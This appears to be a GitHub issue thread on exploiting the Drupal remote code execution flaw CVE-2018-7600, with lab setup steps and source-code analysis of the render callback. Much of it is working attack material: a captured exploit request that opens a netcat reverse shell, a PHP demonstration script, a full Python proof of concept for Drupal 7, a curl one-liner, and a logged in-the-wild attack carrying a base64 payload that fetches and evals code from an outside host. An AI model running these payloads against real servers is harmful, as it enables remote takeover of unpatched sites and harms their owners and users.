Open nixawk opened 6 years ago
Clean URLs Disabled Your server is capable of using clean URLs, but it is not enabled. Using clean URLs gives an improved user experience and is recommended. Enable clean URLs
# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
...
# cat /var/www/html/.htaccess
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
print os command output directly.
$ py3 exploit-CVE-2018-7600.py http://192.168.1.19 "ls -al"
total 276
drwxr-xr-x 9 root root 4096 Apr 14 05:38 .
drwxr-xr-x 3 root root 4096 Apr 13 22:27 ..
-rw-r--r-- 1 root root 867 Apr 12 22:20 .htaccess
drwxr-xr-x 3 root root 4096 Apr 14 05:32 .idea
-rw-r--r-- 1 root root 18092 Apr 13 10:24 LICENSE.txt
-rw-r--r-- 1 root root 5889 Apr 13 10:24 README.txt
-rw-r--r-- 1 root root 262 Apr 13 10:24 autoload.php
-rw-r--r-- 1 root root 2247 Apr 13 10:24 composer.json
-rw-r--r-- 1 root root 150618 Apr 13 10:24 composer.lock
drwxr-xr-x 12 root root 4096 Apr 13 10:24 core
-rw-r--r-- 1 root root 1272 Apr 13 10:24 example.gitignore
-rw-r--r-- 1 root root 549 Apr 13 10:24 index.php
drwxr-xr-x 2 root root 4096 Apr 13 10:24 modules
-rw-r--r-- 1 root root 19 Apr 13 22:38 phpinfo.php
drwxr-xr-x 2 root root 4096 Apr 13 10:24 profiles
-rw-r--r-- 1 root root 1596 Apr 13 10:24 robots.txt
drwxr-xr-x 3 root root 4096 Apr 13 10:24 sites
drwxr-xr-x 2 root root 4096 Apr 13 10:24 themes
-rw-r--r-- 1 root root 848 Apr 13 10:24 update.php
drwxr-xr-x 17 root root 4096 Apr 13 10:24 vendor
-rw-r--r-- 1 root root 4555 Apr 13 10:24 web.config
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 167
Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 02:45:34 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
---->> Filename: /path/to/drupal/core/lib/Drupal/Core/Render/Renderer.php
---->> Function: doRender()
// Filter the outputted content and make any last changes before the content
// is sent to the browser. The changes are made on $content which allows the
// outputted text to be filtered.
if (isset($elements['#post_render'])) {
foreach ($elements['#post_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
}
}
public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || is_object($controller) && method_exists($controller, '__invoke')) {
return $controller;
}
if (strpos($controller, ':') === FALSE) {
if (function_exists($controller)) {
return $controller;
}
elseif (method_exists($controller, '__invoke')) {
return new $controller();
}
}
$callable = $this
->createController($controller);
if (!is_callable($callable)) {
throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}
return $callable;
}
---->> Filename: core/lib/Drupal/Core/Controller/ControllerResolver.php
---->> Function: getControllerFromDefinition
public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
return $controller;
}
if (strpos($controller, ':') === FALSE) {
if (function_exists($controller)) { // ---->> If $controller == 'passthru', return True
return $controller;
}
elseif (method_exists($controller, '__invoke')) {
return new $controller();
}
}
$callable = $this->createController($controller);
if (!is_callable($callable)) {
throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}
return $callable;
}
public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
return $controller;
}
if (strpos($controller, ':') === FALSE) {
if (function_exists($controller)) { // ----> If $controller == 'base64_encode', return False
return $controller;
}
elseif (method_exists($controller, '__invoke')) {
return new $controller();
}
}
$callable = $this->createController($controller);
if (!is_callable($callable)) {
throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}
return $callable;
}
A php demo is prepared for exp tests. It shows how to exploit CVE-2018-7600.
root@lab:~# php /tmp/bug.php passthru id
PHP Warning: Parameter 2 to passthru() expected to be a reference, value given in /tmp/bug.php on line 38
PHP Stack trace:
PHP 1. {main}() /tmp/bug.php:0
PHP 2. drupal_cve_2018_7600() /tmp/bug.php:45
uid=0(root) gid=0(root) groups=0(root)
root@lab:~# php /tmp/bug.php printf drupal
drupal6
<?php
// Author: Nixawk
// CVE-2018-7600: Unsanitized requests allow remote attackers to execute arbitrary code
// Usage:
// $ php drupal-rce-php.php passthru id
function drupal_cve_2018_7600($func, $param)
{
$elements = array(
"#markup" => "{Drupal\Core\Render\Markup}",
"#type" => "markup",
"#post_render" => array(
0 => $func
),
"#suffix" => "<span class=\"ajax-new-content\"></span>",
"#prefix" => "",
"#cache" => array(
"contexts" => array(
0 => "languages:language_intreface",
1 => "theme",
2 => "user.permissions"
),
"tags" => array(),
"max-age" => -1
),
"#defaults_loaded" => true,
"#attached" => array(),
"#children" => array(
"string" => $param
)
);
// echo $elements['#children']["string"] . "\n";
$elements['#children']["string"] = call_user_func(
// $callable = $elements["#post_render"]["0"];
$elements["#post_render"]["0"],
$elements['#children']["string"],
$elements
);
echo $elements['#children']["string"] . "\n";
}
drupal_cve_2018_7600($argv[1], $argv[2]);
?>
apt-get update
apt-get install apache2 php
apt-get install mariadb-server-10.1 mariadb-client-10.1
apt-get install php-mysql php-gd php-xml php-xdebug
# apache2 --version
[Sat Apr 14 10:02:10.979265 2018] [core:warn] [pid 10482] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot
# php --version
PHP 7.2.4-1 (cli) (built: Apr 5 2018 08:50:27) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.4-1, Copyright (c) 1999-2018, by Zend Technologies
# java -version
java version "10" 2018-03-20
Java(TM) SE Runtime Environment 18.3 (build 10+46)
Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10+46, mixed mode)
# service mysql start
# cat <<EOF > adduser.sql
USE mysql;
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
SELECT USER,PASSWORD,HOST FROM USER;
EOF
# mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
# service apache2 start
# apachectl -M
# wget https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
# tar xvf drupal-8.4.5.tar.gz -C /tmp/
# rm -rf /var/www/html/index.html
# cp -rf /tmp/drupal-8.4.5/* /var/www/html/
# mkdir /var/www/html/sites/default/files
# cp /var/www/html/sites/default/default.settings.php /var/www/html/sites/default/settings.php
# chown -R www-data:www-data /var/www/html/
# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
...
# cat /var/www/html/.htaccess
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
# tar xvf jdk-10_linux-x64_bin.tar.gz
# mv jdk-10/ /opt/
# cd /opt/jdk-10/
# update-alternatives --install /usr/bin/java java /opt/jdk-10/bin/java 1
# update-alternatives --install /usr/bin/javac javac /opt/jdk-10/bin/javac 1
# update-alternatives --set java /opt/jdk-10/bin/java
# update-alternatives --set javac /opt/jdk-10/bin/javac
# tar xvf PhpStorm-2018.1.1.tar.gz -C /tmp/
# mv /tmp/PhpStorm-181.4445.72/ /usr/share/phpstorm
# /usr/share/phpstorm/bin/phpstorm.sh
# cat /etc/php/7.2/apache2/conf.d/20-xdebug.ini
zend_extension=xdebug.so
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
xdebug.remote_log="/var/log/xdebug/xdebug.log"
javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+'PHPSTORM'+';path=/;';})()
javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+''+';expires=Mon, 05 Jul 2000 00:00:00 GMT;path=/;';})()
Can you say whether the response of the command (exec, passthru,...) is in data field or at the beginning or the POST response? I'm using passthru and Drupal v8.5.0 and the server responds with the output just before the normal response: Commad_Output[{"command":"insert","method":"replaceWith",... }]
See at: https://github.com/antonio-fr/DrupalRS
In the exploit code here-upper provided by @nixawk , tested on v8.4, the output is sent back in data field. So I'm wondering if this is specific to v8.5, or for the passthru command?
I am able to exploit with Drupal 8 but It doesn't work with Drupal 7 . Does it really work for D7 as well ?
@antonio-fr The exploit tests against drupal 8.4.5. If passthru should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.
From php.net
void passthru ( string $command [, int &$return_var ] )
The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.
@dbjpanda Please try FireFart's Poc for 7.x.
#!/usr/bin/env python3
"""
Written by Christian Mehlmauer
https://firefart.at/
https://twitter.com/_FireFart_
https://github.com/FireFart
This script can be obtained from:
https://github.com/FireFart/CVE-2018-7600
Requirements:
- python3
- python requests (pip install requests)
Usage:
- Install dependencies
- modify the HOST variable in the script
- run the code
- win
"""
import requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print(r.text)
Vulnerability Details can be here:
@nixawk Thx for telling me about passthru. I was thinking erroneously that the answer was extracted from response data field in your code. So I didn't understand if some systems or queries would answer like that. I did some tests on various config and the response were always in server response overhead (before [command:... ). Then, I have updated my Drupal own script published on Github with v7. It is python without requests dependencies.
Good job !
Is there any reason I would be getting no output? I setup a drupal 8.4.5 locally and when I run the script I get no output.
I follow the instructions but it seems that the version 8.4.5 is not vulnerable on my system:
Ubuntu 16.04.3 LTS PHP Version 7.0.22-0ubuntu0.16.04.1
other evidences?
@alfonsocaponi Could you share your packets here ? A pcap may be useful.
POST /user/register?element_parents=account%2Fmail%2F%23value&_wrapper_format=drupal_ajax&ajax_form=1 HTTP/1.1 Host: 192.168.253.128 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.12.4 Content-Length: 130 Content-Type: application/x-www-form-urlencoded
mail%5B%23markup%5D=pwd&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthruHTTP/1.1 200 OK Date: Mon, 23 Apr 2018 11:48:42 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: must-revalidate, no-cache, private X-UA-Compatible: IE=edge Content-language: en X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Sun, 19 Nov 1978 05:00:00 GMT X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Ajax-Token: 1 Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json
[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] dump.zip
Just got hit with this exploit running 8.5.4, clean-urls are enabled:
176.126.252.11 - - [08/Jun/2018:13:01:41 +0200] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 35140 "https://<URL PLACEHOLDER>/?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
i'm my case the result is:
[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
drupal version is 8.5.0...
@violennz Update to 8.5.4, the patch was included in 8.5.1, so hopefully it'll mitigate the majority of attempts, though I'm still being hit with it at 8.5.4
Also, you can run this to clean your drupal site:
find ./ -type f -name "*.php" -exec sed -i s/.*457563643.*/\<\?php/g {} +
That should remove the injected header line and replace it back with your opening <?php
tag
Description
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
Exploit
References